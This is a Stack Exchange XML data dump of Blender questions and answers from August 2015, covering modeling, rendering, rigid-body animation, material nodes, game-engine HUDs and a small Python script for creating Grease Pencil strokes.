  <row Id="36147" PostTypeId="2" ParentId="36140" CreationDate="2015-08-21T17:01:41.633" Score="11" Body="&lt;p&gt;You may also fake a look of a &lt;em&gt;Grease Pencil&lt;/em&gt;. Select your curve, go to the &lt;em&gt;Shape&lt;/em&gt; panel in a curve data header, change the &lt;em&gt;Fill&lt;/em&gt; type to &lt;strong&gt;&lt;em&gt;Full&lt;/em&gt;&lt;/strong&gt;. Increase the &lt;strong&gt;&lt;em&gt;Depth&lt;/em&gt;&lt;/strong&gt; value under &lt;strong&gt;&lt;em&gt;Bevel:&lt;/em&gt;&lt;/strong&gt; to give a curve some thickness. Give it a new material also and change its settings as pictured below. Now you have an editable imitation of a &lt;em&gt;Grease Pencil&lt;/em&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/vws8g.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vws8g.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &#xA;&lt;a href=&quot;https://i.stack.imgur.com/DZoJL.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DZoJL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-21T20:55:11.407" LastActivityDate="2015-08-21T20:55:11.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36148" PostTypeId="2" ParentId="36146" CreationDate="2015-08-21T17:19:22.777" Score="10" Body="&lt;p&gt;You can change the proportional editing type to 'Connected' to only affect the vertices connected to the ones you are moving:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UE5YK.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UE5YK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can also be enabled with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;O&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-08-21T17:19:22.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36149" PostTypeId="2" ParentId="36146" CreationDate="2015-08-21T17:19:37.053" Score="3" Body="&lt;p&gt;You can select vertices in vertex group, invert selection and hide all other vertices, that you do not want to modify.&lt;/p&gt;&#xA;" OwnerUserId="16586" LastActivityDate="2015-08-21T17:19:37.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36150" PostTypeId="1" CreationDate="2015-08-21T17:47:59.277" Score="2" ViewCount="244" Body="&lt;p&gt;I'm animating a car to collide with some passive object. The car is parented to a proxy rigid body object, which I'm animating for the first part, and then the animation is turned off so the physics takes over.&lt;br&gt;&#xA;For the wheel rotation, I use a transform constraint so that the local X location affects the local Y rotation of the wheels (with a negative sign). The wheels appear to rotate correctly as long as I'm animating the proxy object, but after the collision, the wheels continue to rotate forward even though the car (proxy object) is traveling backwards after the collision (bouncing off the object). I stepped through the frames and noticed that after the collision, the location of the proxy object is no longer updated. Has anyone noticed this, and how can I get the location of the proxy object after the collision?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proxy object is animated from frame 1 through 60 just prior to collision.&#xA;The rigid body &quot;Animated&quot; box is checked until frame 55, and unchecked from frame 56 onward.&lt;/p&gt;&#xA;" OwnerUserId="16592" LastEditorUserId="2217" LastEditDate="2015-08-21T18:43:52.153" LastActivityDate="2015-08-21T18:43:52.153" Title="Animating wheel rotation with transform constraint to a proxy rigid body" Tags="&lt;rigid-body-simulation&gt;&lt;constraints&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36151" PostTypeId="1" CreationDate="2015-08-21T18:03:29.927" Score="2" ViewCount="578" Body="&lt;p&gt;When i am rendering in cycles large scene (not really, 470k verts) in GPU mode there is no light penetration through holes and glass, even if i render with 10 samples. In small scene (&amp;lt;80k verts) all is ok. In CPU rendering also all is ok, but it's not funny when you render one frame for 2 hours.&#xA;Radeon 7970 (OpenCL).&lt;br&gt;&#xA;Is there any solution for this problem ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lnF2r.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lnF2r.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16591" LastEditorUserId="16591" LastEditDate="2015-08-21T18:53:16.940" LastActivityDate="2017-11-07T12:05:25.447" Title="GPU rendering no light penetration in large scene" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;&lt;opencl&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36152" PostTypeId="1" CreationDate="2015-08-21T18:19:31.057" Score="5" ViewCount="527" Body="&lt;p&gt;So I'm currently using Java's ProcessBuilder to run Blender Python scripts for rendering in the background and that's working fine. However, I would also like to abort Blender at any time, and unless if I'm mistaken, killing the blender.exe processes would be the best method of doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tried using the destroy() method on the process that runs Blender, only to find that Blender actually starts two processes. Using the destroy() method only kills one of the two processes (and not the one that's doing the actual rendering). Does anyone know of a good workaround or another method of implementing a render abort? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16597" LastActivityDate="2020-02-08T16:50:48.560" Title="Killing Blender processes" Tags="&lt;python&gt;&lt;rendering&gt;&lt;scripting&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36153" PostTypeId="1" AcceptedAnswerId="38989" CreationDate="2015-08-21T18:31:14.253" Score="6" ViewCount="731" Body="&lt;p&gt;I am trying to model a suction cup in Blender 2.75a. I don't know where to get started. More specifically here is what I want to do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a suction cup/pad that can stick to vertical walls.&lt;/li&gt;&#xA;&lt;li&gt;Control the sticking of that pad on a vertical surface via game engine.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am doing this to model a hook onto which I want to hang a cube (a simple pendulum in my case) which has some mass. And yes I want to do it via a suction pad only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On EpicM's suggestion, I tried modelling it as a cloth using rubber material. But that didn't work out. Using soft body seems to work fine. But the main concern now is how to vary the air pressure inside the cup so as to control when to stick and when to release.I am new to blender and hence have no experience using scripts. An example will be very helpful.&lt;/p&gt;&#xA;" OwnerUserId="16347" LastEditorUserId="16347" LastEditDate="2015-08-22T20:37:30.563" LastActivityDate="2015-09-23T12:17:12.787" Title="How to simulate a suction cup?" Tags="&lt;modeling&gt;&lt;game-engine&gt;&lt;workflow&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36154" PostTypeId="1" CreationDate="2015-08-21T18:42:15.393" Score="3" ViewCount="178" Body="&lt;p&gt;I have two objects, one lying inside the other, such that the outer object is like some kind of shell surrounding the inner one. I have a boolean difference modifier set to the outer object, its target being the inner one, so that the resulting mesh is just the area between the inner and outer objects. Think of it at a watermelon, the inner object being the red core, and the outer object being the green rind encasing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The inner object has shape keys, which are to later serve for animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do now is apply the boolean modifier permanently to the outer object, but I want the resultant mesh to retain the animation resulting from movement of the inner object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In essence I have 4 shape keys in my inner object, and I want to apply the boolean difference operation to the outer object 4 times, one for each shape key in the inner object, and have the resulting meshes stored in corresponding shape keys created in the outer object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I've been able to accurately convey what I'm trying to do.&lt;/p&gt;&#xA;" OwnerUserId="16594" LastEditorUserId="16594" LastEditDate="2015-08-22T15:35:45.863" LastActivityDate="2015-09-22T00:13:56.180" Title="Boolean intersect with all shape keys of target object" Tags="&lt;modifiers&gt;&lt;shape-keys&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36155" PostTypeId="1" AcceptedAnswerId="36156" CreationDate="2015-08-21T19:00:10.693" Score="1" ViewCount="537" Body="&lt;p&gt;I have a tendency to zoom in a lot in blender, but while trying to sculpt this &quot;zoom in&quot; habit can get annoying. Is there a way that i can lock the the zoom in position while sculpting in blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="15133" LastActivityDate="2015-08-21T19:16:01.687" Title="can i lock my zoom in position while sculpting?" Tags="&lt;modeling&gt;&lt;sculpting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36156" PostTypeId="2" ParentId="36155" CreationDate="2015-08-21T19:16:01.687" Score="1" Body="&lt;p&gt;You can temporarily disable Zoom event in the User Preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zoom in/out to position you'd like so to work comfortable. Then open the window with &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;U&lt;/kbd&gt;, type Zoom in the search input textbox and look for the event in the 3D View, to disable/enable simply check/uncheck that option (exact option depends on the type of zooming that you use so frequently):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Sdyv2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sdyv2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to leave the User Preferences window opened while you work so not to search for options you've changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that still you will be able to zoom with &lt;a href=&quot;https://blender.stackexchange.com/questions/1508/zoom-in-and-out-without-a-mouse-wheel&quot;&gt;other ways&lt;/a&gt; in the 3D View window, and using any way in other windows. &lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-08-21T19:16:01.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36157" PostTypeId="1" CreationDate="2015-08-21T19:31:57.863" Score="1" ViewCount="40" Body="&lt;p&gt;How can I fix this? It looks like this picture, revealing a different part of the bake every half second, and after its done it becomes completely solid purple. The bake progress bar fills up slowly, then at about the quarter mark, it jumps to the finish and displays no change in topology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rPWvE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rPWvE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="15366" LastEditDate="2015-08-21T19:57:48.667" LastActivityDate="2015-08-21T19:57:48.667" Title="Normal map baking acting up" Tags="&lt;modeling&gt;&lt;baking&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36158" PostTypeId="1" AcceptedAnswerId="36166" CreationDate="2015-08-21T19:56:46.323" Score="1" ViewCount="888" Body="&lt;p&gt;The material of certain objects in the scene doesnt show up. Also the scene is tainted dark, is this related to the sky texture as background? How do I correct this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Material view: Mountain and beach texture is there.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/lUgsz.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lUgsz.jpg&quot; alt=&quot;Material View&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendered view: Mountain and beach texture is not there. River tho.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xYeYa.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xYeYa.jpg&quot; alt=&quot;Rendered View&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Node Setup for the material of both mountain and beach.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0eLHl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0eLHl.png&quot; alt=&quot;Node Setup&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;World background set as sky texture.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CjbMg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CjbMg.png&quot; alt=&quot;World Sky Texture&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11484" LastActivityDate="2015-08-21T21:33:14.320" Title="Material doesnt show up in rendered view" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36159" PostTypeId="2" ParentId="36140" CreationDate="2015-08-21T20:09:45.033" Score="4" Body="&lt;p&gt;As a follow-up to @David script, I noticed that it creates a new Grease Pencil Data every time the script is run. This can make it annoying if you simply want each mesh as a new GP layer in the existing data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To instead make it create a new layer on the existing Grease Pencil Data:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;def convert_curve_to_gp(obj):&#xA;&#xA;    #---- CHANGED ----&#xA;    scene = bpy.context.scene&#xA;    mesh = obj.data&#xA;&#xA;    layer = scene.grease_pencil.layers.new(&quot;layer&quot;, set_active=True)&#xA;    frame = layer.frames.new(scene.frame_current)&#xA;    #---- /CHANGED ----&#xA;&#xA;    mesh = obj.to_mesh(scene, apply_modifiers=False, settings='PREVIEW')&#xA;    for edge in mesh.edges:&#xA;        stroke = frame.strokes.new()&#xA;        stroke.draw_mode = '3DSPACE'&#xA;        stroke.points.add(2)&#xA;        stroke.points[0].co = obj.matrix_world * Vector(mesh.vertices[edge.vertices[0]].co)&#xA;        stroke.points[1].co = obj.matrix_world * Vector(mesh.vertices[edge.vertices[1]].co)&#xA;&#xA;    bpy.data.meshes.remove(mesh)&#xA;&#xA;obj = bpy.context.object&#xA;convert_curve_to_gp(obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13644" LastActivityDate="2015-08-21T20:09:45.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36160" PostTypeId="1" CreationDate="2015-08-21T20:17:07.097" Score="1" ViewCount="635" Body="&lt;p&gt;Help a noob! I am hacking my way up the steep learning curve that is the Blender interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using ver 2.75 on Mac.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to install an add-on called &quot;Copy-And-Paste-UV-3.2&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded the .zip and went to the user settings panel/add-ons and clicked &quot;install from file&quot;, and it put the .py file in the proper place under user/application support/Blender/scripts/addons. Went back to the add-ons panel and looked under &quot;UV&quot;, but the new add-on wasn't there. Looked under the other tabs, but not there either. Hit refresh with no result. Restarted Blender with no result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me what I am doing wrong to install this add-on script?&#xA;(my end goal is to transfer UV layouts across multiple identically shaped objects with different diffuse maps)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx!&lt;/p&gt;&#xA;" OwnerUserId="16598" LastActivityDate="2015-08-21T20:17:07.097" Title="Installed .py scripts not showing up" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36161" PostTypeId="2" ParentId="15198" CreationDate="2015-08-21T20:43:20.480" Score="6" Body="&lt;p&gt;You can also go to the outliner, click on armature, right click on animation and select &quot;Clear animation data&quot;. :)&lt;/p&gt;&#xA;" OwnerUserId="5471" LastActivityDate="2015-08-21T20:43:20.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36162" PostTypeId="1" CreationDate="2015-08-21T20:45:16.160" Score="5" ViewCount="1535" Body="&lt;p&gt;I am very inexperienced so if the solution is simple no hate please. I am trying to add more keyframes but it says: F-Curve with path= 'location'(2) cannot be keyframed. Ensure it is not locked or sampled. Also, try removing F-Modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea what this means. Can someone please explain it to me? I'd greatly appreciate it thank you for your time. &lt;/p&gt;&#xA;" OwnerUserId="16601" LastActivityDate="2019-04-16T07:01:55.370" Title="Can't add keyframes properly" Tags="&lt;keyframes&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36163" PostTypeId="1" AcceptedAnswerId="36515" CreationDate="2015-08-21T20:48:17.407" Score="1" ViewCount="354" Body="&lt;p&gt;I'me starting work on a FPS and want it to support two local players. I will be using low poly characters, but I,d like to be able to create higher poly fps arms and a HUD system that would be hidden from the other player. Does anyone know how to do this? my guess is it involves coding and perhaps multiple scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for the help!&lt;/p&gt;&#xA;" OwnerUserId="16599" LastActivityDate="2015-08-27T05:46:20.890" Title="BGE: How do I hide the player HUD from other players or cameras?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36164" PostTypeId="1" CreationDate="2015-08-21T21:14:07.793" Score="8" ViewCount="11860" Body="&lt;p&gt;EDIT: My example was misleading. I don't want to use polys/faces. Please see the example of how this is done in Maya:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BhLfX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BhLfX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first example didn't make it clear that I want to influence the way the &quot;bridge&quot; is formed by the other bounding curves. Is there not a way to do this? Curves can be used to define a bevel (which creates a surface) but it seems there is not a way to model like this. Please let me know if you know of a way to model like this using surfaces or something other than polygon faces. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original:&#xA;I am trying to make a car using curves. How do I create an interpolated surface between them? (How to I patch them together?)&#xA;Here's a simple example. I have these two curves:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ppRSc.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ppRSc.jpg&quot; alt=&quot;Two curves to be interpolated to create a surface between them.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a mockup of what I mean:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VAsps.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VAsps.jpg&quot; alt=&quot;Mockup of patched curves.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done this in Maya, and here's the &lt;a href=&quot;http://download.autodesk.com/global/docs/maya2013/en_us/index.html?url=files/Creating_NURBS_surfaces_Create_a_surface_within_bounding_curves.htm,topicNumber=d30e176911&quot; rel=&quot;nofollow noreferrer&quot;&gt;user-guide page on how to do exactly this. (click here)&lt;/a&gt; There has to be a way to do this in Blender. I just have to believe! ;)&#xA;Thanks for your help!&#xA;-Ben&lt;/p&gt;&#xA;" OwnerUserId="16492" LastEditorUserId="16492" LastEditDate="2015-08-24T18:03:17.793" LastActivityDate="2015-08-24T18:03:17.793" Title="Create a surface within bounding curves?" Tags="&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36165" PostTypeId="1" CreationDate="2015-08-21T21:25:04.433" Score="1" ViewCount="114" Body="&lt;p&gt;Is there any way to programmatically specify the number of frames for which you want bge to run? Let's say I want bge to run for 5 frames after which I want to modify some game parameters via some script I have. I'm running everything via command line so accessing any sort of control features via the gui isn't an options. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15734" LastActivityDate="2018-04-07T14:08:01.977" Title="Run bge for a certain number of frames?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36166" PostTypeId="2" ParentId="36158" CreationDate="2015-08-21T21:33:14.320" Score="1" Body="&lt;p&gt;When combining several outputs into some other inputs, you should remember what socket you use and how. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, you don't see any textures in Rendered view because information from Color outputs couldn't be converted properly being plugged into Shader inputs. &lt;br/&gt;&#xA;And the blue color fullfilling everything in your case is the color of the environment texture (which is added by the &lt;em&gt;Sky Texture&lt;/em&gt; node).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you should mix colors, textures, etc using nodes designed for that, i.e. &lt;em&gt;Color&lt;/em&gt; &gt; &lt;em&gt;MixRGB&lt;/em&gt; one. Its ouput is also of Color type, so you can continue adding some color information to the node tree. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the very end, when you know you're done with color, plug the final Color output into the Color input of the &lt;em&gt;Diffuse&lt;/em&gt; (or another one) shader. After that, you may combine &lt;em&gt;shaders&lt;/em&gt; (add some &lt;em&gt;Glossy&lt;/em&gt; or &lt;em&gt;Transparent&lt;/em&gt; or adding new colors / textures with new &lt;em&gt;Diffuse&lt;/em&gt; shaders or  whatever) with &lt;em&gt;Mix Shader&lt;/em&gt; node, but there won't be any conversion between Color and Shader type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XOTB8.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XOTB8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to look at &lt;a href=&quot;https://blender.stackexchange.com/questions/33915/what-is-the-meaning-of-the-color-of-the-node-sockets-in-the-node-editor&quot;&gt;meaning of the color of the nodes sockets&lt;/a&gt; for more info on different sockets' types.&lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-08-21T21:33:14.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36167" PostTypeId="2" ParentId="36164" CreationDate="2015-08-21T21:52:28.210" Score="5" Body="&lt;p&gt;Add a &lt;em&gt;Curve&lt;/em&gt; (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;--&gt;Curve--&gt;Bezier&lt;/em&gt;) and model the first profile being in &lt;em&gt;Edit Mode&lt;/em&gt;. When finished, select it (&lt;kbd&gt;A&lt;/kbd&gt;), duplicate (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;) and place as far from the first one as you want. Model the duplicated second profile as you like.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kv7kq.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kv7kq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;em&gt;Object Mode&lt;/em&gt;, change the curve's resolution (&lt;em&gt;Preview U&lt;/em&gt; and &lt;em&gt;Render U&lt;/em&gt;) to 3, then select it and press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;--&gt;Convert to Mesh&lt;/em&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/R0YRL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R0YRL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;em&gt;User Preferences&lt;/em&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;) and enable the &lt;strong&gt;&lt;em&gt;F2 add-on&lt;/em&gt;&lt;/strong&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Wf2zu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wf2zu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select two vertices as pictured below and press &lt;kbd&gt;F&lt;/kbd&gt; continuously to fill the gaps.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/TxTaw.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TxTaw.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;strong&gt;&lt;em&gt;Subsurf Modifier&lt;/em&gt;&lt;/strong&gt; to the mesh to make it look smoother. Enable a &lt;em&gt;Smooth Shading&lt;/em&gt; in the &lt;em&gt;Edit&lt;/em&gt; panel of a &lt;strong&gt;&lt;em&gt;Tool Shelf&lt;/em&gt;&lt;/strong&gt; (&lt;kbd&gt;T&lt;/kbd&gt;).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/JqE8s.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JqE8s.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RYwrA.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RYwrA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-21T22:05:35.367" LastActivityDate="2015-08-21T22:05:35.367" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36168" PostTypeId="2" ParentId="36164" CreationDate="2015-08-21T21:54:49.703" Score="4" Body="&lt;p&gt;If the two curves have the same number of vertices, you could, in Edit Mode, select both curves and then Mesh-&gt;Edges-&gt;Bridge Edge Loops.&lt;/p&gt;&#xA;" OwnerUserId="16592" LastActivityDate="2015-08-21T21:54:49.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36169" PostTypeId="2" ParentId="36163" CreationDate="2015-08-21T21:56:27.867" Score="1" Body="&lt;p&gt;You should use the &lt;em&gt;overlay scene&lt;/em&gt; in the game logics. I played around with that and you can find something easily on the internet. Good luck and have fun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some more details:&#xA;In the &lt;em&gt;game logics&lt;/em&gt; you can add an &lt;em&gt;always sensor&lt;/em&gt; and connect it to the &lt;em&gt;add overlay scene&lt;/em&gt; node. I think the connection has to be a &lt;em&gt;python script&lt;/em&gt; but i'm not shure. Then you can code the properties of the player and connect them via scripting to the overlay hud.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I watched this videos some time ago and i think they are very good for you. They are for 2.6 but i think the bge didn't change &lt;em&gt;that&lt;/em&gt; much...&#xA;&lt;a href=&quot;https://youtu.be/Rrihz2HFoSE&quot; rel=&quot;nofollow&quot;&gt;Creating a HUD in bge&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally i hope the game logics get an upgrade. They should be more like a node editor as in UE4... But i think i have to wait a bit longer...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that helped. Later i can try out again for you and send some screenshots.&lt;/p&gt;&#xA;" OwnerUserId="16603" LastEditorUserId="16603" LastEditDate="2015-08-22T06:29:37.033" LastActivityDate="2015-08-22T06:29:37.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
